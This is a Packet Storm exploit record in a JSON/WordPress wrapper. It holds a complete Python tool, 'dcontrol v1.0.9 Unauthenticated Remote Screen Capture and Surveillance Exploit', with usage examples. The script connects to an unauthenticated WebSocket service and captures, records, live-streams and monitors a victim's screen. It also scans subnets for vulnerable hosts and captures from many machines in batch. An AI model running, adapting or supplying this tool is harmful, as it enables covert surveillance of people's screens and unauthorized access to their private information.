{“lastseen”:”2026-06-02T17:47:26″,”description”:”The script is a fully featured remote screen-capture client targeting an exposed WebSocket service \/ws associated with a dcontrol deployment. It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and…”,”published”:”2026-06-02T00:00:00″,”modified”:”2026-06-02T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 dcontrol 1.0.9 Screen Capture”,”source”:””,”references”:””,”id”:”PACKETSTORM:222452″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : dcontrol v1.0.9 \u2013 Unauthenticated Remote Screen Capture and Surveillance Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/github.com\/dhjz\/dcontrol\/releases\/download\/1.0.9\/dcontrol.exe |\\n ==================================================================================================================================\\n \\n [+] Summary : The script is a fully featured remote screen-capture client targeting an exposed WebSocket service (\/ws) associated with a \u201cdcontrol\u201d deployment. \\n It includes capabilities that move beyond diagnostic or administrative testing into active surveillance and unauthorized access workflows.\\n \\t\\t\\t\\t \\n [+] POC : Examples:\\n Single screenshot : python3 1.py -t 192.168.1.100\\n \\n Multiple screenshots : python3 1.py -t 192.168.1.100 –multi 20 –interval 2\\n \\n Record video (30 seconds, 2 FPS) : python3 1.py -t 192.168.1.100 –record –duration 30 –fps 2\\n \\n Monitor for changes : python3 1.py -t 192.168.1.100 –monitor –interval 5\\n \\n Interactive mode : python3 1.py -t 192.168.1.100 –interactive\\n \\n Scan network : python3 1.py –scan 192.168.1\\n \\n #!\/usr\/bin\/env python3\\n \\n import asyncio\\n import websockets\\n import gzip\\n import base64\\n import argparse\\n import sys\\n import os\\n import time\\n import json\\n import threading\\n from datetime import datetime\\n from PIL import Image\\n import io\\n import cv2\\n import numpy as np\\n \\n class DControlExploit:\\n def __init__(self, target_host, target_port=666, ssl=False):\\n \\”\\”\\”\\n Initialize dcontrol exploit\\n \\”\\”\\”\\n self.target_host = target_host\\n self.target_port = target_port\\n self.ssl = ssl\\n self.ws_url = f\\”{‘wss’ if ssl else ‘ws’}:\/\/{target_host}:{target_port}\/ws\\”\\n self.websocket = None\\n self.screenshot_count = 0\\n self.video_writer = None\\n self.recording = False\\n \\n async def connect(self):\\n \\”\\”\\”Establish WebSocket connection\\”\\”\\”\\n try:\\n print(f\\”[*] Connecting to {self.ws_url}\\”)\\n self.websocket = await websockets.connect(\\n self.ws_url,\\n timeout=10,\\n ping_interval=None\\n )\\n print(f\\”[+] Connected successfully to dcontrol service\\”)\\n return True\\n except Exception as e:\\n print(f\\”[-] Failed to connect: {e}\\”)\\n return False\\n \\n async def disconnect(self):\\n \\”\\”\\”Close WebSocket connection\\”\\”\\”\\n if self.websocket:\\n await self.websocket.close()\\n print(\\”[*] Connection closed\\”)\\n \\n async def capture_single_screenshot(self, quality=50, output_file=None):\\n \\”\\”\\”\\n Capture a single screenshot\\n quality: 1-100 (compression level, lower = smaller file)\\n \\”\\”\\”\\n if not self.websocket:\\n if not await self.connect():\\n return None\\n \\n try:\\n print(f\\”[*] Requesting screenshot (quality: {quality})…\\”)\\n await self.websocket.send(f’screen,{quality}’)\\n data = await self.websocket.recv()\\n decompressed = gzip.decompress(data)\\n if not output_file:\\n timestamp = datetime.now().strftime(\\”%Y%m%d_%H%M%S\\”)\\n output_file = f\\”screenshot_{timestamp}.jpg\\”\\n \\n with open(output_file, ‘wb’) as f:\\n f.write(decompressed)\\n \\n file_size = len(decompressed) \/ 1024\\n print(f\\”[+] Screenshot captured! Saved as: {output_file} ({file_size:.2f} KB)\\”)\\n try:\\n img = Image.open(io.BytesIO(decompressed))\\n print(f\\”[*] Image dimensions: {img.size[0]}x{img.size[1]}\\”)\\n except:\\n pass\\n \\n return output_file\\n \\n except Exception as e:\\n print(f\\”[-] Failed to capture screenshot: {e}\\”)\\n return None\\n \\n async def capture_multiple_screenshots(self, count=10, interval=1, quality=50, output_dir=\\”screenshots\\”):\\n \\”\\”\\”\\n Capture multiple screenshots at specified intervals\\n \\”\\”\\”\\n print(f\\”[*] Capturing {count} screenshots every {interval} second(s)…\\”)\\n os.makedirs(output_dir, exist_ok=True)\\n \\n screenshots = []\\n \\n for i in range(count):\\n print(f\\”\\\\n[*] Screenshot {i+1}\/{count}\\”)\\n timestamp = datetime.now().strftime(\\”%Y%m%d_%H%M%S\\”)\\n filename = os.path.join(output_dir, f\\”screenshot_{timestamp}_{i+1}.jpg\\”)\\n \\n result = await self.capture_single_screenshot(quality, filename)\\n if result:\\n screenshots.append(result)\\n \\n if i \\u003c count – 1:\\n print(f\\”[*] Waiting {interval} seconds…\\”)\\n await asyncio.sleep(interval)\\n \\n print(f\\”\\\\n[+] Captured {len(screenshots)} screenshots in ‘{output_dir}’\\”)\\n return screenshots\\n \\n async def start_video_recording(self, duration=None, fps=1, quality=50, output_file=None):\\n \\”\\”\\”\\n Record video by capturing screenshots continuously\\n \\”\\”\\”\\n if not output_file:\\n timestamp = datetime.now().strftime(\\”%Y%m%d_%H%M%S\\”)\\n output_file = f\\”screen_recording_{timestamp}.mp4\\”\\n \\n print(f\\”[*] Starting video recording (FPS: {fps})\\”)\\n print(f\\”[*] Output file: {output_file}\\”)\\n if duration:\\n print(f\\”[*] Duration: {duration} seconds\\”)\\n print(\\”[*] Press Ctrl+C to stop recording\\”)\\n \\n frames = []\\n self.recording = True\\n start_time = time.time()\\n frame_count = 0\\n \\n try:\\n while self.recording:\\n frame_start = time.time()\\n frame_data = await self.capture_single_screenshot(quality)\\n \\n if frame_data:\\n img = Image.open(frame_data)\\n frames.append(np.array(img))\\n frame_count += 1\\n elapsed = time.time() – frame_start\\n delay = max(0, (1.0 \/ fps) – elapsed)\\n if duration and (time.time() – start_time) \\u003e= duration:\\n print(f\\”\\\\n[*] Recording completed ({duration} seconds)\\”)\\n break\\n \\n if delay \\u003e 0:\\n await asyncio.sleep(delay)\\n if frame_data and os.path.exists(frame_data):\\n os.remove(frame_data)\\n if frames:\\n print(f\\”[*] Creating video from {frame_count} frames…\\”)\\n self.create_video(frames, output_file, fps)\\n print(f\\”[+] Video saved: {output_file}\\”)\\n else:\\n print(\\”[-] No frames captured\\”)\\n \\n except KeyboardInterrupt:\\n print(\\”\\\\n[*] Recording stopped by user\\”)\\n if frames:\\n self.create_video(frames, output_file, fps)\\n print(f\\”[+] Video saved: {output_file}\\”)\\n except Exception as e:\\n print(f\\”[-] Recording error: {e}\\”)\\n \\n self.recording = False\\n return output_file\\n \\n def create_video(self, frames, output_file, fps):\\n \\”\\”\\”Convert frames to video file\\”\\”\\”\\n if not frames:\\n return\\n \\n height, width = frames[0].shape[:2]\\n fourcc = cv2.VideoWriter_fourcc(*’mp4v’)\\n out = cv2.VideoWriter(output_file, fourcc, fps, (width, height))\\n \\n for frame in frames:\\n frame_bgr = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\\n out.write(frame_bgr)\\n \\n out.release()\\n \\n async def live_stream(self, quality=30, fps=0.5):\\n \\”\\”\\”\\n Live streaming mode – continuously capture and display screenshots\\n \\”\\”\\”\\n print(f\\”[*] Starting live stream mode (FPS: {fps})\\”)\\n print(\\”[*] Press Ctrl+C to stop\\”)\\n \\n try:\\n while True:\\n frame_start = time.time()\\n data = await self.capture_single_screenshot(quality)\\n \\n if data:\\n try:\\n img = Image.open(data)\\n img.show() \\n except:\\n pass\\n \\n print(f\\”[*] Frame captured at {datetime.now().strftime(‘%H:%M:%S’)}\\”)\\n if data and os.path.exists(data):\\n os.remove(data)\\n elapsed = time.time() – frame_start\\n delay = max(0, (1.0 \/ fps) – elapsed)\\n await asyncio.sleep(delay)\\n \\n except KeyboardInterrupt:\\n print(\\”\\\\n[*] Live stream stopped\\”)\\n \\n async def monitor_changes(self, interval=2, quality=30, threshold=0.95):\\n \\”\\”\\”\\n Monitor screen for changes and save when significant change detected\\n \\”\\”\\”\\n print(f\\”[*] Monitoring screen for changes (interval: {interval}s)\\”)\\n print(\\”[*] Press Ctrl+C to stop\\”)\\n \\n previous_image = None\\n changes_dir = f\\”screen_changes_{datetime.now().strftime(‘%Y%m%d_%H%M%S’)}\\”\\n os.makedirs(changes_dir, exist_ok=True)\\n \\n try:\\n while True:\\n data = await self.capture_single_screenshot(quality)\\n \\n if data:\\n current_image = Image.open(data)\\n \\n if previous_image:\\n similarity = self.compare_images(previous_image, current_image)\\n \\n if similarity \\u003c threshold:\\n timestamp = datetime.now().strftime(\\”%Y%m%d_%H%M%S\\”)\\n filename = os.path.join(changes_dir, f\\”change_{timestamp}.jpg\\”)\\n current_image.save(filename)\\n print(f\\”[!] Screen change detected! Similarity: {similarity:.2%}\\”)\\n print(f\\”[+] Saved: {filename}\\”)\\n \\n previous_image = current_image\\n os.remove(data)\\n \\n await asyncio.sleep(interval)\\n \\n except KeyboardInterrupt:\\n print(f\\”\\\\n[*] Monitoring stopped. Changes saved in ‘{changes_dir}’\\”)\\n \\n def compare_images(self, img1, img2):\\n \\”\\”\\”Compare two images and return similarity score\\”\\”\\”\\n img1_gray = img1.convert(‘L’).resize((100, 100))\\n img2_gray = img2.convert(‘L’).resize((100, 100))\\n arr1 = np.array(img1_gray)\\n arr2 = np.array(img2_gray)\\n mse = np.mean((arr1 – arr2) ** 2)\\n max_mse = 255 ** 2\\n \\n similarity = 1 – (mse \/ max_mse)\\n return similarity\\n \\n async def interactive_mode(self):\\n \\”\\”\\”Interactive shell for screen capture\\”\\”\\”\\n print(\\”\\”\\”\\n \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n \u2551 dcontrol v1.0.9 – Remote Screen Capture Exploit \u2551\\n \u2551 Unauthenticated WebSocket Access by indoushka \u2551\\n \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n \\n Commands:\\n capture [quality] – Capture single screenshot (quality: 1-100)\\n multi \\u003ccount\\u003e [interval] – Capture multiple screenshots\\n record [duration] [fps] – Record video (duration in seconds, fps default 1)\\n stream [fps] – Live streaming mode\\n monitor [interval] – Monitor screen for changes\\n info – Show connection info\\n help – Show this help\\n exit\/quit – Exit exploit\\n \\n Examples:\\n \\u003e capture 50\\n \\u003e multi 10 2\\n \\u003e record 30 2\\n \\u003e stream 0.5\\n \\u003e monitor 3\\n \\”\\”\\”)\\n \\n if not await self.connect():\\n return\\n \\n while True:\\n try:\\n cmd = input(f\\”\\\\n[dcontrol@{self.target_host}]\\u003e \\”).strip().lower()\\n \\n if not cmd:\\n continue\\n \\n if cmd == ‘exit’ or cmd == ‘quit’:\\n print(\\”[*] Exiting…\\”)\\n break\\n \\n elif cmd == ‘info’:\\n print(f\\”Target: {self.target_host}:{self.target_port}\\”)\\n print(f\\”WebSocket URL: {self.ws_url}\\”)\\n print(f\\”Status: {‘Connected’ if self.websocket else ‘Disconnected’}\\”)\\n \\n elif cmd.startswith(‘capture’):\\n parts = cmd.split()\\n quality = int(parts[1]) if len(parts) \\u003e 1 else 50\\n await self.capture_single_screenshot(quality)\\n \\n elif cmd.startswith(‘multi’):\\n parts = cmd.split()\\n count = int(parts[1]) if len(parts) \\u003e 1 else 5\\n interval = int(parts[2]) if len(parts) \\u003e 2 else 1\\n await self.capture_multiple_screenshots(count, interval)\\n \\n elif cmd.startswith(‘record’):\\n parts = cmd.split()\\n duration = int(parts[1]) if len(parts) \\u003e 1 else None\\n fps = int(parts[2]) if len(parts) \\u003e 2 else 1\\n await self.start_video_recording(duration, fps)\\n \\n elif cmd.startswith(‘stream’):\\n parts = cmd.split()\\n fps = float(parts[1]) if len(parts) \\u003e 1 else 0.5\\n await self.live_stream(fps=fps)\\n \\n elif cmd.startswith(‘monitor’):\\n parts = cmd.split()\\n interval = int(parts[1]) if len(parts) \\u003e 1 else 2\\n await self.monitor_changes(interval)\\n \\n elif cmd == ‘help’:\\n print(__doc__)\\n \\n else:\\n print(\\”Unknown command. Type ‘help’ for available commands\\”)\\n \\n except KeyboardInterrupt:\\n print(\\”\\\\n[*] Interrupted\\”)\\n break\\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n \\n await self.disconnect()\\n \\n class BatchExploit:\\n \\”\\”\\”Batch operations for multiple targets\\”\\”\\”\\n \\n @staticmethod\\n async def scan_network(subnet, port=666):\\n \\”\\”\\”Scan network for vulnerable dcontrol instances\\”\\”\\”\\n print(f\\”[*] Scanning {subnet}.0\/24 for dcontrol services…\\”)\\n \\n hosts = []\\n for i in range(1, 255):\\n ip = f\\”{subnet}.{i}\\”\\n try:\\n ws_url = f\\”ws:\/\/{ip}:{port}\/ws\\”\\n ws = await websockets.connect(ws_url, timeout=3)\\n await ws.close()\\n print(f\\”[+] Found dcontrol at {ip}:{port}\\”)\\n hosts.append(ip)\\n except:\\n pass\\n \\n print(f\\”\\\\n[*] Found {len(hosts)} vulnerable hosts\\”)\\n return hosts\\n \\n @staticmethod\\n async def exploit_multiple(hosts, quality=50, output_dir=\\”batch_captures\\”):\\n \\”\\”\\”Capture screenshots from multiple targets\\”\\”\\”\\n os.makedirs(output_dir, exist_ok=True)\\n \\n tasks = []\\n for host in hosts:\\n exploit = DControlExploit(host)\\n tasks.append(exploit.capture_single_screenshot(quality))\\n \\n results = await asyncio.gather(*tasks, return_exceptions=True)\\n \\n for host, result in zip(hosts, results):\\n if result and not isinstance(result, Exception):\\n print(f\\”[+] {host}: Screenshot saved\\”)\\n \\n def create_gif_from_screenshots(screenshot_dir, output_file=\\”animation.gif\\”, duration=500):\\n \\”\\”\\”Create GIF from multiple screenshots\\”\\”\\”\\n from PIL import ImageSequence\\n \\n images = []\\n for file in sorted(os.listdir(screenshot_dir)):\\n if file.endswith(‘.jpg’) or file.endswith(‘.png’):\\n images.append(Image.open(os.path.join(screenshot_dir, file)))\\n \\n if images:\\n images[0].save(\\n output_file,\\n save_all=True,\\n append_images=images[1:],\\n duration=duration,\\n loop=0\\n )\\n print(f\\”[+] GIF created: {output_file}\\”)\\n \\n def main():\\n parser = argparse.ArgumentParser(\\n description=’dcontrol v1.0.9 – Unauthenticated Remote Screen Capture’,\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n epilog=”’\\n Examples:\\n # Single screenshot\\n python3 %(prog)s -t 192.168.1.100\\n \\n # Multiple screenshots\\n python3 %(prog)s -t 192.168.1.100 –multi 20 –interval 2\\n \\n # Record video (30 seconds, 2 FPS)\\n python3 %(prog)s -t 192.168.1.100 –record –duration 30 –fps 2\\n \\n # Monitor for changes\\n python3 %(prog)s -t 192.168.1.100 –monitor –interval 5\\n \\n # Interactive mode\\n python3 %(prog)s -t 192.168.1.100 –interactive\\n \\n # Scan network\\n python3 %(prog)s –scan 192.168.1\\n ”’\\n )\\n parser.add_argument(‘-t’, ‘–target’, help=’Target IP address’)\\n parser.add_argument(‘-p’, ‘–port’, type=int, default=666, help=’Target port (default: 666)’)\\n parser.add_argument(‘–ssl’, action=’store_true’, help=’Use WSS instead of WS’)\\n parser.add_argument(‘-q’, ‘–quality’, type=int, default=50, \\n help=’Image quality 1-100 (default: 50)’)\\n parser.add_argument(‘-o’, ‘–output’, help=’Output file name’)\\n parser.add_argument(‘–multi’, type=int, help=’Number of screenshots to capture’)\\n parser.add_argument(‘–interval’, type=int, default=1, \\n help=’Interval between captures in seconds (default: 1)’)\\n parser.add_argument(‘–record’, action=’store_true’, help=’Record video’)\\n parser.add_argument(‘–duration’, type=int, help=’Recording duration in seconds’)\\n parser.add_argument(‘–fps’, type=float, default=1, help=’Frames per second (default: 1)’)\\n parser.add_argument(‘–monitor’, action=’store_true’, help=’Monitor screen for changes’)\\n parser.add_argument(‘–threshold’, type=float, default=0.95, \\n help=’Change detection threshold (default: 0.95)’)\\n parser.add_argument(‘–scan’, metavar=’SUBNET’, help=’Scan subnet for vulnerable hosts’)\\n parser.add_argument(‘–batch-file’, help=’File containing list of targets (one per line)’)\\n parser.add_argument(‘-i’, ‘–interactive’, action=’store_true’, \\n help=’Interactive mode’)\\n \\n args = parser.parse_args()\\n \\n if args.scan:\\n hosts = asyncio.run(BatchExploit.scan_network(args.scan, args.port))\\n if hosts:\\n print(\\”\\\\n[*] Found hosts:\\”)\\n for host in hosts:\\n print(f\\” – {host}\\”)\\n sys.exit(0)\\n \\n if args.batch_file:\\n with open(args.batch_file, ‘r’) as f:\\n hosts = [line.strip() for line in f if line.strip()]\\n asyncio.run(BatchExploit.exploit_multiple(hosts, args.quality))\\n sys.exit(0)\\n \\n if not args.target:\\n parser.print_help()\\n sys.exit(1)\\n exploit = DControlExploit(args.target, args.port, args.ssl)\\n if args.interactive:\\n asyncio.run(exploit.interactive_mode())\\n sys.exit(0)\\n if args.record:\\n asyncio.run(exploit.start_video_recording(args.duration, args.fps, args.quality, args.output))\\n sys.exit(0)\\n if args.monitor:\\n asyncio.run(exploit.monitor_changes(args.interval, args.quality, args.threshold))\\n sys.exit(0)\\n if args.multi:\\n asyncio.run(exploit.capture_multiple_screenshots(args.multi, args.interval, args.quality))\\n sys.exit(0)\\n asyncio.run(exploit.capture_single_screenshot(args.quality, args.output))\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/222452″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/222452\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-02T17:47:26″,”description”:”The script is a fully featured remote screen-capture client targeting an exposed WebSocket service \/ws associated with a dcontrol deployment. It includes capabilities that move…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-59347","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n